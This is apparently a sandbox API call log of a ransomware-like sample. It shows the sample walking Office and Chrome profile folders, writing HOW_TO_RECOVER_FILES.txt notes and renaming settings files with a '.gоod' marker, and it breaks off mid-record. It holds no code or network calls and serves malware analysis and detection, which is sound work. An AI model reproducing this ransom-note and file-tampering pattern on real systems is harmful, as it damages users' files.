[0273.653] GetFileType (hFile=0x86c) returned 0x1 [0273.653] WriteFile (in: hFile=0x86c, lpBuffer=0x38bb688*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ebe98, lpOverlapped=0x0 | out: lpBuffer=0x38bb688*, lpNumberOfBytesWritten=0x207ebe98*=0x5d0, lpOverlapped=0x0) returned 1 [0273.654] CloseHandle (hObject=0x86c) returned 1 [0273.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebe60) returned 1 [0273.655] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate", nBufferLength=0x105, lpBuffer=0x207eb900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate", lpFilePart=0x0) returned 0x3d [0273.655] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\*", lpFindFileData=0x207ebb80 | out: lpFindFileData=0x207ebb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17ea40e, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xe17ea40e, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0273.658] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17ea40e, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xe17ea40e, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.658] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.Settings.json", cAlternateFileName="EXCELS~1.JSO")) returned 1 [0273.658] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.SurveyEventActivityStats.json", cAlternateFileName="EXCELS~3.JSO")) returned 1 [0273.658] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.SurveyHistoryStats.json", cAlternateFileName="EXCELS~2.JSO")) returned 1 [0273.658] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0273.659] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0273.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebda0) returned 1 [0273.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebd60) returned 1 [0273.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebe60) returned 1 [0273.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate", nBufferLength=0x105, lpBuffer=0x207eb900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate", lpFilePart=0x0) returned 0x3d [0273.659] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\*", lpFindFileData=0x207ebb80 | out: lpFindFileData=0x207ebb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17ea40e, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xe17ea40e, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0273.660] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17ea40e, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xe17ea40e, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.660] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.Settings.json", cAlternateFileName="EXCELS~1.JSO")) returned 1 [0273.660] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.SurveyEventActivityStats.json", cAlternateFileName="EXCELS~3.JSO")) returned 1 [0273.661] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.SurveyHistoryStats.json", cAlternateFileName="EXCELS~2.JSO")) returned 1 [0273.661] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x207ebb40 | out: lpFindFileData=0x207ebb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.SurveyHistoryStats.json", cAlternateFileName="EXCELS~2.JSO")) returned 0 [0273.661] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0273.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebda0) returned 1 [0273.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebd60) returned 1 [0273.662] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json", nBufferLength=0x105, lpBuffer=0x207eb740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json", lpFilePart=0x0) returned 0x51 [0273.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebc10) returned 1 [0273.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json"), fInfoLevelId=0x0, lpFileInformation=0x38cb480 | out: lpFileInformation=0x38cb480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x57)) returned 1 [0273.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebbd0) returned 1 [0273.663] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json", nBufferLength=0x105, lpBuffer=0x207eb5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json", lpFilePart=0x0) returned 0x51 [0273.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebac0) returned 1 [0273.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0273.664] GetFileType (hFile=0x86c) returned 0x1 [0273.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eba30) returned 1 [0273.664] GetFileType (hFile=0x86c) returned 0x1 [0273.664] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x207ebc68 | out: lpFileSizeHigh=0x207ebc68*=0x0) returned 0x57 [0273.664] ReadFile (in: hFile=0x86c, lpBuffer=0x38cb7c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ebb98, lpOverlapped=0x0 | out: lpBuffer=0x38cb7c0*, lpNumberOfBytesRead=0x207ebb98*=0x57, lpOverlapped=0x0) returned 1 [0273.665] CloseHandle (hObject=0x86c) returned 1 [0273.957] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json", nBufferLength=0x105, lpBuffer=0x207eb5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json", lpFilePart=0x0) returned 0x51 [0273.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebac0) returned 1 [0273.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.958] GetFileType (hFile=0x8a8) returned 0x1 [0273.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eba30) returned 1 [0273.958] GetFileType (hFile=0x8a8) returned 0x1 [0273.958] WriteFile (in: hFile=0x8a8, lpBuffer=0x3a3dc08*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x207ebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3a3dc08*, lpNumberOfBytesWritten=0x207ebaa8*=0x60, lpOverlapped=0x0) returned 1 [0273.959] CloseHandle (hObject=0x8a8) returned 1 [0273.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json", nBufferLength=0x105, lpBuffer=0x207eb740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json", lpFilePart=0x0) returned 0x51 [0273.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json.gоod", nBufferLength=0x105, lpBuffer=0x207eb740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json.gоod", lpFilePart=0x0) returned 0x56 [0273.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebbd0) returned 1 [0273.959] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json"), fInfoLevelId=0x0, lpFileInformation=0x207ebcb0 | out: lpFileInformation=0x207ebcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9f804330, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0273.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebb90) returned 1 [0273.960] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.Settings.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.settings.json.gоod")) returned 1 [0273.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json", nBufferLength=0x105, lpBuffer=0x207eb740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json", lpFilePart=0x0) returned 0x61 [0273.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebc10) returned 1 [0273.960] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyeventactivitystats.json"), fInfoLevelId=0x0, lpFileInformation=0x3a3eee0 | out: lpFileInformation=0x3a3eee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77060bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x77060bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe)) returned 1 [0273.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ebbd0) returned 1 [0273.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json", nBufferLength=0x105, lpBuffer=0x207eb5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json", lpFilePart=0x0) returned 0x61 [0273.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ebac0) returned 1 [0273.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\Floodgate\\Excel.SurveyEventActivityStats.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\floodgate\\excel.surveyeventactivitystats.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0273.961] GetFileType (hFile=0x8a8) returned 0x1 [0273.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207eba30) returned 1 [0273.961] GetFileType (hFile=0x8a8) returned 0x1 [0273.961] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x207ebc68 | out: lpFileSizeHigh=0x207ebc68*=0x0) returned 0xe [0273.961] ReadFile (in: hFile=0x8a8, lpBuffer=0x3a3f258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ebb98, lpOverlapped=0x0 | out: lpBuffer=0x3a3f258*, lpNumberOfBytesRead=0x207ebb98*=0xe, lpOverlapped=0x0) returned 1 [0273.962] CloseHandle (hObject=0x8a8) returned 1 Thread: id = 241 os_tid = 0xffc [0207.805] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0207.805] CoGetContextToken (in: pToken=0x208eef80 | out: pToken=0x208eef80) returned 0x0 [0207.805] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x208eefb8 | out: ppvObject=0x208eefb8*=0x12e64e8) returned 0x0 [0207.806] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x208ef028 | out: pThreadType=0x208ef028*=0) returned 0x0 [0207.806] IUnknown:Release (This=0x12e64e8) returned 0x0 [0207.806] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0207.806] CoUninitialize () [0207.806] RoInitialize () returned 0x1 [0207.806] RoUninitialize () returned 0x0 [0207.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0207.818] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", lpFilePart=0x0) returned 0x3b [0207.818] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0207.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0207.819] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0207.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0207.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0207.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0207.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", lpFilePart=0x0) returned 0x3b [0207.819] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0207.819] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.820] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0207.820] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0207.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0207.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0207.820] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x54 [0207.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0207.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\pnacl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0207.927] GetFileType (hFile=0x828) returned 0x1 [0207.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0207.927] GetFileType (hFile=0x828) returned 0x1 [0207.928] WriteFile (in: hFile=0x828, lpBuffer=0x353a418*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x353a418*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0208.245] CloseHandle (hObject=0x828) returned 1 [0208.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing", lpFilePart=0x0) returned 0x43 [0208.246] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.246] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.247] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, 